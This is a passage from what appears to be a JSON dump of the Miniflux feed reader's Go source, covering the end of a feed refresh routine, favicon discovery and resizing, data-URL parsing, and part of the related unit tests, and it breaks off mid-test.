int(refreshDelay.Minutes())),\n\t\t\tslog.Int(\"calculated_next_check_interval_in_minutes\", int(calculatedNextCheckInterval.Minutes())),\n\t\t\tslog.Time(\"new_next_check_at\", originalFeed.NextCheckAt),\n\t\t)\n\n\t\toriginalFeed.Entries = updatedFeed.Entries\n\t\tprocessor.ProcessFeedEntries(store, originalFeed, userID, forceRefresh)\n\n\t\t// We don't update existing entries when the crawler is enabled (we crawl only inexisting entries).\n\t\t// We also skip updating existing entries if the feed has ignore_entry_updates enabled.\n\t\t// Unless it is forced to refresh.\n\t\tupdateExistingEntries := forceRefresh || (!originalFeed.Crawler && !originalFeed.IgnoreEntryUpdates)\n\t\tnewEntries, storeErr := store.RefreshFeedEntries(originalFeed.UserID, originalFeed.ID, originalFeed.Entries, updateExistingEntries)\n\t\tif storeErr != nil {\n\t\t\tlocalizedError := locale.NewLocalizedErrorWrapper(storeErr, \"error.database_error\", storeErr)\n\t\t\treturn getTranslatedLocalizedError(store, userID, originalFeed, localizedError)\n\t\t}\n\n\t\tuserIntegrations, intErr := store.Integration(userID)\n\t\tif intErr != nil {\n\t\t\tslog.Error(\"Fetching integrations failed; the refresh process will go on, but no integrations will run this time\",\n\t\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\t\tslog.Int64(\"feed_id\", feedID),\n\t\t\t\tslog.Any(\"error\", intErr),\n\t\t\t)\n\t\t} else if userIntegrations != nil && len(newEntries) > 0 {\n\t\t\tgo integration.PushEntries(originalFeed, newEntries, userIntegrations)\n\t\t}\n\n\t\toriginalFeed.EtagHeader = responseHandler.ETag()\n\t\toriginalFeed.LastModifiedHeader = responseHandler.LastModified()\n\n\t\toriginalFeed.IconURL = updatedFeed.IconURL\n\t\ticonChecker := icon.NewIconChecker(store, originalFeed)\n\t\tif forceRefresh {\n\t\t\ticonChecker.UpdateOrCreateFeedIcon()\n\t\t} else {\n\t\t\ticonChecker.CreateFeedIconIfMissing()\n\t\t}\n\t} else {\n\t\tslog.Debug(\"Feed not modified\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\tslog.Int64(\"feed_id\", feedID),\n\t\t)\n\n\t\t// Last-Modified may be updated even if ETag is not. In this case, per\n\t\t// RFC9111 sections 3.2 and 4.3.4, the stored response must be updated.\n\t\tif responseHandler.LastModified() != \"\" {\n\t\t\toriginalFeed.LastModifiedHeader = responseHandler.LastModified()\n\t\t}\n\t}\n\n\toriginalFeed.ResetErrorCounter()\n\n\tif storeErr := store.UpdateFeed(originalFeed); storeErr != nil {\n\t\tlocalizedError := locale.NewLocalizedErrorWrapper(storeErr, \"error.database_error\", storeErr)\n\t\treturn getTranslatedLocalizedError(store, userID, originalFeed, localizedError)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/reader/icon/checker.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage icon // import \"miniflux.app/v2/internal/reader/icon\"\n\nimport (\n\t\"log/slog\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/proxyrotator\"\n\t\"miniflux.app/v2/internal/reader/fetcher\"\n\t\"miniflux.app/v2/internal/storage\"\n)\n\ntype iconChecker struct {\n\tstore *storage.Storage\n\tfeed  *model.Feed\n}\n\nfunc NewIconChecker(store *storage.Storage, feed *model.Feed) *iconChecker {\n\treturn &iconChecker{\n\t\tstore: store,\n\t\tfeed:  feed,\n\t}\n}\n\nfunc (c *iconChecker) UpdateOrCreateFeedIcon() {\n\trequestBuilder := fetcher.NewRequestBuilder()\n\trequestBuilder.WithUserAgent(c.feed.UserAgent, config.Opts.HTTPClientUserAgent())\n\trequestBuilder.WithCookie(c.feed.Cookie)\n\trequestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())\n\trequestBuilder.WithProxyRotator(proxyrotator.ProxyRotatorInstance)\n\trequestBuilder.WithCustomFeedProxyURL(c.feed.ProxyURL)\n\trequestBuilder.WithCustomApplicationProxyURL(config.Opts.HTTPClientProxyURL())\n\trequestBuilder.UseCustomApplicationProxyURL(c.feed.FetchViaProxy)\n\trequestBuilder.IgnoreTLSErrors(c.feed.AllowSelfSignedCertificates)\n\trequestBuilder.DisableHTTP2(c.feed.DisableHTTP2)\n\n\ticonFinder := newIconFinder(requestBuilder, c.feed.SiteURL, c.feed.IconURL)\n\tif icon, err := iconFinder.findIcon(); err != nil {\n\t\tslog.Debug(\"Unable to find feed icon\",\n\t\t\tslog.Int64(\"feed_id\", c.feed.ID),\n\t\t\tslog.String(\"website_url\", c.feed.SiteURL),\n\t\t\tslog.String(\"feed_icon_url\", c.feed.IconURL),\n\t\t\tslog.Any(\"error\", err),\n\t\t)\n\t} else if icon == nil {\n\t\tslog.Debug(\"No icon found\",\n\t\t\tslog.Int64(\"feed_id\", c.feed.ID),\n\t\t\tslog.String(\"website_url\", c.feed.SiteURL),\n\t\t\tslog.String(\"feed_icon_url\", c.feed.IconURL),\n\t\t)\n\t} else {\n\t\tif err := c.store.StoreFeedIcon(c.feed.ID, icon); err != nil {\n\t\t\tslog.Error(\"Unable to store feed icon\",\n\t\t\t\tslog.Int64(\"feed_id\", c.feed.ID),\n\t\t\t\tslog.String(\"website_url\", c.feed.SiteURL),\n\t\t\t\tslog.String(\"feed_icon_url\", c.feed.IconURL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t} else {\n\t\t\tslog.Debug(\"Feed icon stored\",\n\t\t\t\tslog.Int64(\"feed_id\", c.feed.ID),\n\t\t\t\tslog.String(\"website_url\", c.feed.SiteURL),\n\t\t\t\tslog.String(\"feed_icon_url\", c.feed.IconURL),\n\t\t\t\tslog.Int64(\"icon_id\", icon.ID),\n\t\t\t\tslog.String(\"icon_hash\", icon.Hash),\n\t\t\t)\n\t\t}\n\t}\n}\n\nfunc (c *iconChecker) CreateFeedIconIfMissing() {\n\tif c.store.HasFeedIcon(c.feed.ID) {\n\t\tslog.Debug(\"Feed icon already exists\",\n\t\t\tslog.Int64(\"feed_id\", c.feed.ID),\n\t\t)\n\t\treturn\n\t}\n\n\tc.UpdateOrCreateFeedIcon()\n}\n"
  },
  {
    "path": "internal/reader/icon/finder.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage icon // import \"miniflux.app/v2/internal/reader/icon\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"image\"\n\t\"image/gif\"\n\t\"image/jpeg\"\n\t\"image/png\"\n\t\"io\"\n\t\"log/slog\"\n\t\"net/url\"\n\t\"regexp\"\n\t\"slices\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/reader/encoding\"\n\t\"miniflux.app/v2/internal/reader/fetcher\"\n\t\"miniflux.app/v2/internal/urllib\"\n\n\t\"github.com/PuerkitoBio/goquery\"\n\t\"github.com/tdewolff/minify/v2\"\n\t\"github.com/tdewolff/minify/v2/svg\"\n\t\"golang.org/x/image/draw\"\n\t\"golang.org/x/image/webp\"\n)\n\ntype iconFinder struct {\n\trequestBuilder *fetcher.RequestBuilder\n\twebsiteURL     string\n\tfeedIconURL    string\n}\n\nfunc newIconFinder(requestBuilder *fetcher.RequestBuilder, websiteURL, feedIconURL string) *iconFinder {\n\treturn &iconFinder{\n\t\trequestBuilder: requestBuilder,\n\t\twebsiteURL:     websiteURL,\n\t\tfeedIconURL:    feedIconURL,\n\t}\n}\n\nfunc (f *iconFinder) findIcon() (*model.Icon, error) {\n\tslog.Debug(\"Begin icon discovery process\",\n\t\tslog.String(\"website_url\", f.websiteURL),\n\t\tslog.String(\"feed_icon_url\", f.feedIconURL),\n\t)\n\n\tif f.feedIconURL != \"\" {\n\t\tif icon, err := f.downloadIcon(f.feedIconURL); err != nil {\n\t\t\tslog.Debug(\"Unable to fetch the feed's icon\",\n\t\t\t\tslog.String(\"website_url\", f.websiteURL),\n\t\t\t\tslog.String(\"feed_icon_url\", f.feedIconURL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t} else if icon != nil {\n\t\t\treturn icon, nil\n\t\t}\n\t}\n\n\t// Try the website URL first, then fall back to the root URL if no icon is found.\n\t// The website URL may include a subdirectory (e.g., https://example.org/subfolder/), and icons can be referenced relative to that path.\n\turls := []string{f.websiteURL}\n\tif rootURL := urllib.RootURL(f.websiteURL); rootURL != urls[0] {\n\t\turls = []string{f.websiteURL, rootURL}\n\t}\n\tfor _, documentURL := range urls {\n\t\tif icon, err := f.fetchIconsFromHTMLDocument(documentURL); err != nil {\n\t\t\tslog.Debug(\"Unable to fetch icons from HTML document\",\n\t\t\t\tslog.String(\"document_url\", documentURL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t} else if icon != nil {\n\t\t\treturn icon, nil\n\t\t}\n\t}\n\n\treturn f.fetchDefaultIcon()\n}\n\nfunc (f *iconFinder) fetchDefaultIcon() (*model.Icon, error) {\n\tslog.Debug(\"Fetching default icon\",\n\t\tslog.String(\"website_url\", f.websiteURL),\n\t)\n\n\ticonURL, err := urllib.JoinBaseURLAndPath(urllib.RootURL(f.websiteURL), \"favicon.ico\")\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`icon: unable to join root URL and path: %w`, err)\n\t}\n\n\ticon, err := f.downloadIcon(iconURL)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn icon, nil\n}\n\nfunc (f *iconFinder) fetchIconsFromHTMLDocument(documentURL string) (*model.Icon, error) {\n\tslog.Debug(\"Searching icons from HTML document\",\n\t\tslog.String(\"document_url\", documentURL),\n\t)\n\n\tresponseHandler := fetcher.NewResponseHandler(f.requestBuilder.ExecuteRequest(documentURL))\n\tdefer responseHandler.Close()\n\n\tif localizedError := responseHandler.LocalizedError(); localizedError != nil {\n\t\treturn nil, fmt.Errorf(\"icon: unable to download website index page: %w\", localizedError.Error())\n\t}\n\n\ticonURLs, err := findIconURLsFromHTMLDocument(\n\t\tdocumentURL,\n\t\tresponseHandler.Body(config.Opts.HTTPClientMaxBodySize()),\n\t\tresponseHandler.ContentType(),\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tslog.Debug(\"Searched icon from HTML document\",\n\t\tslog.String(\"document_url\", documentURL),\n\t\tslog.String(\"icon_urls\", strings.Join(iconURLs, \",\")),\n\t)\n\n\tfor _, iconURL := range iconURLs {\n\t\tif strings.HasPrefix(iconURL, \"data:\") {\n\t\t\tslog.Debug(\"Found icon with data URL\",\n\t\t\t\tslog.String(\"document_url\", documentURL),\n\t\t\t)\n\t\t\treturn parseImageDataURL(iconURL)\n\t\t}\n\n\t\tif icon, err := f.downloadIcon(iconURL); err != nil {\n\t\t\tslog.Debug(\"Unable to download icon from HTML document\",\n\t\t\t\tslog.String(\"document_url\", documentURL),\n\t\t\t\tslog.String(\"icon_url\", iconURL),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t} else if icon != nil {\n\t\t\tslog.Debug(\"Downloaded icon from HTML document\",\n\t\t\t\tslog.String(\"document_url\", documentURL),\n\t\t\t\tslog.String(\"icon_url\", iconURL),\n\t\t\t)\n\t\t\treturn icon, nil\n\t\t}\n\t}\n\n\treturn nil, nil\n}\n\nfunc (f *iconFinder) downloadIcon(iconURL string) (*model.Icon, error) {\n\tslog.Debug(\"Downloading icon\",\n\t\tslog.String(\"website_url\", f.websiteURL),\n\t\tslog.String(\"icon_url\", iconURL),\n\t)\n\n\tresponseHandler := fetcher.NewResponseHandler(f.requestBuilder.ExecuteRequest(iconURL))\n\tdefer responseHandler.Close()\n\n\tif localizedError := responseHandler.LocalizedError(); localizedError != nil {\n\t\treturn nil, fmt.Errorf(\"icon: unable to download website icon: %w\", localizedError.Error())\n\t}\n\n\tresponseBody, localizedError := responseHandler.ReadBody(config.Opts.HTTPClientMaxBodySize())\n\tif localizedError != nil {\n\t\treturn nil, fmt.Errorf(\"icon: unable to read response body: %w\", localizedError.Error())\n\t}\n\n\ticon := &model.Icon{\n\t\tHash:     crypto.HashFromBytes(responseBody),\n\t\tMimeType: responseHandler.ContentType(),\n\t\tContent:  responseBody,\n\t}\n\n\ticon = resizeIcon(icon)\n\n\treturn icon, nil\n}\n\nfunc resizeIcon(icon *model.Icon) *model.Icon {\n\tconst (\n\t\tmaxFaviconDimension = 4096\n\t\tmaxFaviconPixels    = 4096 * 4096\n\t)\n\n\tif icon.MimeType == \"image/svg+xml\" {\n\t\tminifier := minify.New()\n\t\tminifier.AddFunc(\"image/svg+xml\", svg.Minify)\n\t\tvar err error\n\t\t// minifier.Bytes returns the data unchanged in case of error.\n\t\ticon.Content, err = minifier.Bytes(\"image/svg+xml\", icon.Content)\n\t\tif err != nil {\n\t\t\tslog.Error(\"Unable to minify SVG icon\", slog.Any(\"error\", err))\n\t\t}\n\t\treturn icon\n\t}\n\n\tif !slices.Contains([]string{\"image/jpeg\", \"image/png\", \"image/gif\", \"image/webp\"}, icon.MimeType) {\n\t\tslog.Debug(\"Icon resize skipped: unsupported MIME type\", slog.String(\"mime_type\", icon.MimeType))\n\t\treturn icon\n\t}\n\n\tr := bytes.NewReader(icon.Content)\n\n\t// Don't resize icons that we can't decode, or that already have the right size.\n\tconfig, _, err := image.DecodeConfig(r)\n\tif err != nil {\n\t\tslog.Warn(\"Unable to decode icon metadata\", slog.Any(\"error\", err))\n\t\treturn icon\n\t}\n\n\tif config.Width <= 0 || config.Height <= 0 {\n\t\tslog.Warn(\"Icon resize skipped: invalid image dimensions\",\n\t\t\tslog.Int(\"width\", config.Width),\n\t\t\tslog.Int(\"height\", config.Height),\n\t\t)\n\t\treturn icon\n\t}\n\n\tpixelCount := int64(config.Width) * int64(config.Height)\n\tif config.Width > maxFaviconDimension || config.Height > maxFaviconDimension || pixelCount > maxFaviconPixels {\n\t\tslog.Warn(\"Icon rejected: image dimensions are too large\",\n\t\t\tslog.Int(\"width\", config.Width),\n\t\t\tslog.Int(\"height\", config.Height),\n\t\t\tslog.Int64(\"pixel_count\", pixelCount),\n\t\t)\n\t\treturn nil\n\t}\n\n\tif config.Height <= 32 && config.Width <= 32 {\n\t\tslog.Debug(\"Icon doesn't need to be resized\", slog.Int(\"height\", config.Height), slog.Int(\"width\", config.Width))\n\t\treturn icon\n\t}\n\n\tr.Seek(0, io.SeekStart)\n\n\tvar src image.Image\n\tswitch icon.MimeType {\n\tcase \"image/jpeg\":\n\t\tsrc, err = jpeg.Decode(r)\n\tcase \"image/png\":\n\t\tsrc, err = png.Decode(r)\n\tcase \"image/gif\":\n\t\tsrc, err = gif.Decode(r)\n\tcase \"image/webp\":\n\t\tsrc, err = webp.Decode(r)\n\t}\n\tif err != nil || src == nil {\n\t\tslog.Warn(\"Unable to decode icon image\", slog.Any(\"error\", err))\n\t\treturn icon\n\t}\n\n\tdst := image.NewRGBA(image.Rect(0, 0, 32, 32))\n\tdraw.BiLinear.Scale(dst, dst.Rect, src, src.Bounds(), draw.Over, nil)\n\n\tvar b bytes.Buffer\n\tif err = png.Encode(io.Writer(&b), dst); err != nil {\n\t\tslog.Warn(\"Unable to encode resized icon\", slog.Any(\"error\", err))\n\t\treturn icon\n\t}\n\n\ticon.Content = b.Bytes()\n\ticon.MimeType = \"image/png\"\n\treturn icon\n}\n\nfunc findIconURLsFromHTMLDocument(documentURL string, body io.Reader, contentType string) ([]string, error) {\n\thtmlDocumentReader, err := encoding.NewCharsetReader(body, contentType)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"icon: unable to create charset reader: %w\", err)\n\t}\n\n\tdoc, err := goquery.NewDocumentFromReader(htmlDocumentReader)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"icon: unable to read document: %v\", err)\n\t}\n\n\tquery := `link[rel='icon' i][href],\n\t\tlink[rel='shortcut icon' i][href],\n\t\tlink[rel='icon shortcut' i][href],\n\t\tlink[rel='apple-touch-icon'][href]`\n\n\tvar iconURLs []string\n\tslog.Debug(\"Searching icon URL in HTML document\", slog.String(\"query\", query))\n\n\tfor _, s := range doc.Find(query).EachIter() {\n\t\thref, _ := s.Attr(\"href\")\n\t\thref = strings.TrimSpace(href)\n\t\tif href == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tif absoluteIconURL, err := urllib.ResolveToAbsoluteURL(documentURL, href); err != nil {\n\t\t\tslog.Warn(\"Unable to convert icon URL to absolute URL\", slog.Any(\"error\", err), slog.String(\"icon_href\", href))\n\t\t} else {\n\t\t\ticonURLs = append(iconURLs, absoluteIconURL)\n\t\t\tslog.Debug(\"Found icon URL in HTML document\",\n\t\t\t\tslog.String(\"query\", query),\n\t\t\t\tslog.String(\"icon_href\", href),\n\t\t\t\tslog.String(\"absolute_icon_url\", absoluteIconURL),\n\t\t\t)\n\t\t}\n\t}\n\n\treturn iconURLs, nil\n}\n\n// https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs#syntax\n// data:[<mediatype>][;encoding],<data>\n// we consider <mediatype> to be mandatory, and it has to start with `image/`.\n// we consider `base64`, `utf8` and the empty string to be the only valid encodings\nfunc parseImageDataURL(value string) (*model.Icon, error) {\n\tre := regexp.MustCompile(`^data:` +\n\t\t`(?P<mediatype>image/[^;,]+)` +\n\t\t`(?:;(?P<encoding>base64|utf8))?` +\n\t\t`,(?P<data>.+)$`)\n\n\tmatches := re.FindStringSubmatch(value)\n\tif matches == nil {\n\t\treturn nil, fmt.Errorf(`icon: invalid data URL %q`, value)\n\t}\n\n\tmediaType := matches[re.SubexpIndex(\"mediatype\")]\n\tencoding := matches[re.SubexpIndex(\"encoding\")]\n\tdata := matches[re.SubexpIndex(\"data\")]\n\n\tvar blob []byte\n\tswitch encoding {\n\tcase \"base64\":\n\t\tvar err error\n\t\tblob, err = base64.StdEncoding.DecodeString(data)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(`icon: invalid data %q (%v)`, value, err)\n\t\t}\n\tcase \"\":\n\t\tdecodedData, err := url.QueryUnescape(data)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(`icon: unable to decode data URL %q`, value)\n\t\t}\n\t\tblob = []byte(decodedData)\n\tcase \"utf8\":\n\t\tblob = []byte(data)\n\t}\n\n\treturn &model.Icon{\n\t\tHash:     crypto.HashFromBytes(blob),\n\t\tContent:  blob,\n\t\tMimeType: mediaType,\n\t}, nil\n}\n"
  },
  {
    "path": "internal/reader/icon/finder_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage icon // import \"miniflux.app/v2/internal/reader/icon\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/base64\"\n\t\"encoding/binary\"\n\t\"hash/crc32\"\n\t\"image\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\nfunc TestParseImageDataURL(t *testing.T) {\n\ticonURL := \"data:image/webp;base64,UklGRhQJAABXRUJQVlA4TAcJAAAvv8AvEIU1atuOza3OCSaanSeobUa17T61bdu2bVtRbdvtDmrb7gSTdibJXOG81/d9z/vsX3utCLi1bbuJ3hKeVEymRRuaSnCVSBWIBmwP410h0IHJXDyfZCfRNhklFS/sufGPbPHPjT0vVJRkhE1BwxFZ5EhDQVjkrEjIJokVOVHMhAuyyoUpUUCbDbLLhjbRFkO+kWG+GRLT0+YTWeaTNjEdW2SaLTEtU2SbOTGVnAuyzY0nYgobZJwtMZkxD2ScB2NiEg2yTkOQcULWOZFRIvOU1Mg8FS/IPC8ckHkOXJF5riRknoT/pb1t6iwPetFIH3jNY660i/khw/3dq4W09ZbNIbN1TjOeFD2iB2T1KmIM0x0yuhOxbod81vueWK0GQDa3IuZ1kM2bifkdZPM94s4CuRxN3GUhl2KvC7kUez3I5TjiLge5/Ji4s0AuBxPzO8jmbsS8GrLZ4G9itVoM8nkssW6CjLb3BDFGaoCcdnU/KXxMb8hrnZ18Ttr82UHqILvtrO50j/vOaDKpyY/ecKWNdYJst1MP/7fxHwtYyprWtrGNrG0pfcyqDjI7r22d6V4faCJttfjOa4Y6155WMwuUpsEw5spQjW62d7tvif+H4YapCAkFYkaofB1DNJEaIqFAzAgVdrCTkaS2SCgQM0Jla/uQ1BoJBWJGqKTBTaT2SCgQM0IFfXxMEkBCgZgR/I2MJSkgoUDMCPaWmkkSSCgQM4K7pmaSBhIKxIxgLqCRJIKEAjEjePWGk1SQUCBmBO8kksgoj0BCgZgRrDn8Q+zfDXKkzaxt0gb2coX3SMVNnnG85XSAlAIxI1hXEneEzbWH6fsYpJX4zV52mlXVQ2qBmBGcWY0jXquTdYC21/En8YY7z7q6QoqBmBGc44jXag8o7Ot3Yp0DiQZiRnDeI97FYGyglTj/mgvSDMSMYCxGvG91BWcQsa6BNAMxIxgHEe9gsBbVSpwxekCSgZgRjCHEGqcBvBeJtRckGYgZwfiGWA+CeSixnoAkAzEjFDcQ73AwBxCrST2kGIgZobgP8VYDs4MWYi0LKQZiRihej3izgvsZsfaEFAMxIxRvR6yJ2oP7IrFOhxQDMSMU70+sRrAfIdYNkGIgZoTi/Yn1I9gDiTUQUgzEjFC8P7F+BHsgsQZCioGYEYp3IlYj2A8TayCkGIgZoXgT4nUE91ViXQ0pBmJGKF6GePOC+w2xTocUAzEjFPcm3sZgdtNKrH0gxUDMCMZvxDoXzDWJtxqkGIgZwXicWO+CeT6xWvWCFAMxIxgnEm9xsNr5mlifQJKBmBGMJYl3K1hbEO8aSDIQM4JR52tiTbQMGPU+It56kGQgZgTndOJ9JEDxecT7XntIMhAzgjO7ZuI9rwGK9tJKvLMhzUDMCNZNxHxXP2izi0u0Em+cWSHNQMwI1hyaiDneXVbTHqad0zF+IO4FkGggZgTveOKP9qLbXOo813vYl8T/XW9INBAzgtfBf0ntdoBUAzEjmPP5m9TqVkg2EDOCu6ZmUps3dYFkAzEj2NtoIbV4z4yQbiBmBH9jY0j1R5gJEg7EjFBBHx+Taj+kAVIOxIxQSReXGU+q2ewYdZB0IGaEyhZzj4mkam/oD4kHYkaosI8PSJW+tb06SD0QM0JFnZyjhVRnuJ3UQ/qBmBEqWcQIUpU/3GAVKEUgZoQKttNEKh/nZWdaVXsoSSBmBP8kraToAdd51Pt+MoZM86v3PetOZ9hBfx2hRIGYEewzSeFZ6mBqnZ4mBShlIGYE9xBSeAOUPRAzgtlfCyn6UTcoeyBmBPNZUngalD4QM4LXjxRvDKUPxIzgnUCKl4XSB2JG8J4kxftB6QMxI3jfkeIfzQ9lD8SM4I0hxm/2UQ/lDsSM4I0i1p/usLul9IDyBmJG8D4jfpPvfekDwxS95RlPutMljrGlxdRD2oGYEbyHSU1a/Ncl1tcR0g3EjODtT2r2l1stC6kGYkbwehhDavi69SHNQMwI5mmkpk+YF1IMxIxgdvIBqWmj7SDBQMwIbl+NpLZnQHqBmBHsdTST2l4GyQViRvDXMprU9hhILRAzQgWLGkZqOsFqkFggZoRKOtrPd6SWX+oMaQViRqhgUcd7QTOp6dGQViBmBLeXw71Pav6LLpBUIGYEb1aXaSIp7AlJBWJGcDo50RiSxtOQVCBmBKOv90gqE/SClAIxIxRvbSxJZyNIqZ35mF2hcC8TSUJnQwm30krMH93jOJtYTX/zaXNhS5m0lq0c7GxDfWoi8R+B8vXRRKx/3GpVdVBBd1sYrImY70PpOhhJrEHmgIpncivxfofSHUCcJttBVU4g1hgoW72fiNFkFajSY8RC2XYkzh5QrRWJhbI9SIxXoGp1GokxHkpWbxwxNoPqDSPGL1CyZYgxXheo3hvEeBdKthMxPoYqfkaMB6BkJxHjVaheMIEYZ0HJziXGO1C9vYizBZTscmKM1R6q1cnnxJioN5TsLOKsCdW6ljhvQtmOIc7jUKVTiXUElG0HYu0O1ejhJmI1mxHKNoBYzTaFiuvs4mfi3Qql6+RfYk10tk5QUXube4OY4y0I5XuUmF/bUxdwO1jRxb4n9uVQwn2J/ZdbbWNWKGpnXhs42SMaSQXfC1DCHhpJJT97we0uca5jHeJYk45znmsN9JJP/UsqnGAtKOWFJJ2ToZwz+J2kcqs6KOkuJJGB2kNZ69xFkrhaeyhvF2+S2v/jICh1T6+TWn9qAJS8m8dITce7WAOUvs6xWkjtnrEYZGFpw0mNXrMB5KKdPXxNqj/OIMtDTjra0eukqhM9azcBsrOg03xMqvSLIXYzM2RqAfu600cmkIr+9oKL7GQRyFyDFe3hDHd4xcd+NZ601ehbIzzuNqfbyxrmhKx219Ns5jN5bj1N6g6pkZB5EldknisHZJ4DL8g8L9TIPBXPyDwlGSdknRMZQYOs0xCTKEjIOImCmMwKGWdDTCHnimxzJSemMkO2WRDTskWm2RHT0eUTWeaTLjE9Q/6QYX4YEm3RYYvssqVDFDDjgqxyYU4UM2JDQjZJbBgRFgVLzsgiZ5YUhE1GSc0Le+48kC0e3NnzQk1JRrQNAA==\"\n\ticon, err := parseImageDataURL(iconURL)\n\tif err != nil {\n\t\tt.Fatalf(`We should be able to parse valid data URL: %v`, err)\n\t}\n\n\tif icon.MimeType != \"image/webp\" {\n\t\tt.Fatal(`Invalid mime type parsed`)\n\t}\n\n\tif icon.Hash == \"\" {\n\t\tt.Fatal(`Image hash should be computed`)\n\t}\n}\n\nfunc TestParseImageDataURLWithNoEncoding(t *testing.T) {\n\ticonURL := `data:image/webp,%3Ch1%3EHello%2C%20World%21%3C%2Fh1%3E`\n\ticon, err := parseImageDataURL(iconURL)\n\tif err != nil {\n\t\tt.Fatalf(`We should be able to parse valid data URL: %v`, err)\n\t}\n\n\tif icon.MimeType != \"image/webp\" {\n\t\tt.Fatal(`Invalid mime type parsed`)\n\t}\n\n\tif string(icon.Content) == \"Hello, World!\" {\n\t\tt.Fatal(`Value should be URL-decoded`)\n\t}\n\n\tif icon.Hash == \"\" {\n\t\tt.Fatal(`Image hash should be computed`)\n\t}\n}\n\nfunc TestParseImageWithRawSVGEncodedInUTF8(t *testing.T) {\n\ticonURL := `data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 456 456'><circle></circle></svg>`\n\ticon, err := parseImageDataURL(iconURL)\n\tif err != nil {\n\t\tt.Fatalf(`We should be able to parse valid data URL: %v`, err)\n\t}\n\n\tif icon.MimeType != \"image/svg+xml\" {\n\t\tt.Fatal(`Invalid mime type parsed`)\n\t}\n\n\tif icon.Hash == \"\" {\n\t\tt.Fatal(`Image hash should be computed`)\n\t}\n\n\tif string(icon.Content) != `<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 456 456'><circle></circle></svg>` {\n\t\tt.Fatal(`Invalid SVG content`)\n\t}\n}\n\nfunc TestParseImageDataURLWithNoMediaTypeAndNoEncoding(t *testing.T) {\n\ticonURL := `data:,Hello%2C%20World%21`\n\t_, err := parseImageDataURL(iconURL)\n\tif err == nil {\n\t\tt.Fatal(`We should detect invalid mime type`)\n\t}\n}\n\nfunc TestParseInvalidImageDataURLWithBadMimeType(t *testing.T) {\n\t_, err := parseImageDataURL(\"data:text/plain;base64,blob\")\n\tif err == nil {\n\t\tt.Fatal(`We should detect invalid mime type`)\n\t}\n}\n\nfunc TestParseInvalidImageDataURLWithUnsupportedEncoding(t *testing.T) {\n\t_, err := parseImageDataURL(\"data:image/png;base32,blob\")\n\tif err == nil {\n\t\tt.Fatal(`We should detect unsupported encoding`)\n\t}\n}\n\nfunc TestParseInvalidImageDataURLWithNoData(t *testing.T) {\n\t_, err := parseImageDataURL(\"data:image/png;base64,\")\n\tif err == nil {\n\t\tt.Fatal(`We should detect invalid encoded data`)\n\t}\n}\n\nfunc TestParseInvalidImageDataURL(t *testing.T) {\n\t_, err := parseImageDataURL(\"data:image/jpeg\")\n\tif err == nil {\n\t\tt.Fatal(`We should detect malformed image data URL`)\n\t}\n}\n\nfunc TestParseInvalidImageDataURLWithWrongPrefix(t *testing.T) {\n\t_, err := parseImageDataURL(\"data,test\")\n\tif err == nil {\n\t\tt.Fatal(`We should detect malformed image data URL`)\n\t}\n}\n\nfunc TestFindIconURLsFromHTMLDocument_MultipleIcons(t *testing.T) {\n\thtml := `<!DOCTYPE html>\n<html>\n<head>\n\t<link rel=\"icon\" href=\"/favicon.ico\">\n\t<link rel=\"shortcut icon\" href=\"/shortcut-favicon.ico\">\n\t<link rel=\"icon shortcut\" href=\"/icon-shortcut.ico\">\n\t<link rel=\"apple-touch-icon\" href=\"/apple-touch-icon.png\">\n</head>\n</html>`\n\n\ticonURLs, err := findIconURLsFromHTMLDocument(\"https://example.org\", strings.NewReader(html), \"text/html\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := []string{\n\t\t\"https://example.org/favicon.ico\",\n\t\t\"https://example.org/shortcut-favicon.ico\",\n\t\t\"https://example.org/icon-shortcut.ico\",\n\t\t\"https://example.org/apple-touch-icon.png\",\n\t}\n\n\tif len(iconURLs) != len(expected) {\n\t\tt.Fatalf(\"Expected %d icon URLs, got %d\", len(expected), len(iconURLs))\n\t}\n\n\tfor i, expectedURL := range expected {\n\t\tif iconURLs[i] != expectedURL {\n\t\t\tt.Errorf(\"Expected icon URL %d to be %q, got %q\", i, expectedURL, iconURLs[i])\n\t\t}\n\t}\n}\n\nfunc TestFindIconURLsFromHTMLDocument_CaseInsensitiveRel(t *testing.T) {\n\thtml := `<!DOCTYPE html>\n<html>\n<head>\n\t<link rel=\"ICON\" href=\"/favicon1.ico\">\n\t<link rel=\"Icon\" href=\"/favicon2.ico\">\n\t<link rel=\"SHORTCUT ICON\" 